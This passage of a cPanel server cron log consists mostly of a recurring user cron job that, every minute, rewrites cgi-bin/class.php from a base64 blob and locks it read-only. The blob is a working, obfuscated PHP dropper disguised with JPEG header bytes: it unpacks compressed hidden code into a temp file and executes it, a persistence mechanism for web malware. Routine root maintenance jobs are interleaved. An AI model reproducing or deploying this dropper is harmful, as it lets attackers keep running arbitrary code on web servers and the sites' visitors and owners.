gkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:04:01 server CROND[21363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:05:01 server CROND[21534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:05:01 server CROND[21535]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 02:05:01 server CROND[21536]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 02:05:01 server CROND[21533]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  8 02:05:01 server CROND[21537]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 02:06:01 server CROND[21668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:07:01 server CROND[21774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:08:01 server CROND[21846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:09:01 server CROND[21914]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 02:09:01 server CROND[21916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:10:01 server CROND[22086]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 02:10:01 server CROND[22087]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 02:10:01 server CROND[22088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:10:01 server CROND[22089]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 02:11:01 server CROND[22225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:12:01 server CROND[22336]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 02:12:01 server CROND[22337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:13:01 server CROND[22410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:14:01 server CROND[22486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:15:01 server CROND[22664]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  8 02:15:01 server CROND[22665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 02:15:01 server CROND[22666]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 02:15:01 server CROND[22668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 02:16:01 server CROND[22805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
